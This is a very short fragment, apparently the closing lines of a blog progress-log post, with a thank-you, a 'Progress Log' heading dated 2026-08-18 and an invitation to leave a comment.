- Thanks for reading patiently.
Progress Log
2026-08-18

If you enjoyed this, leave a comment~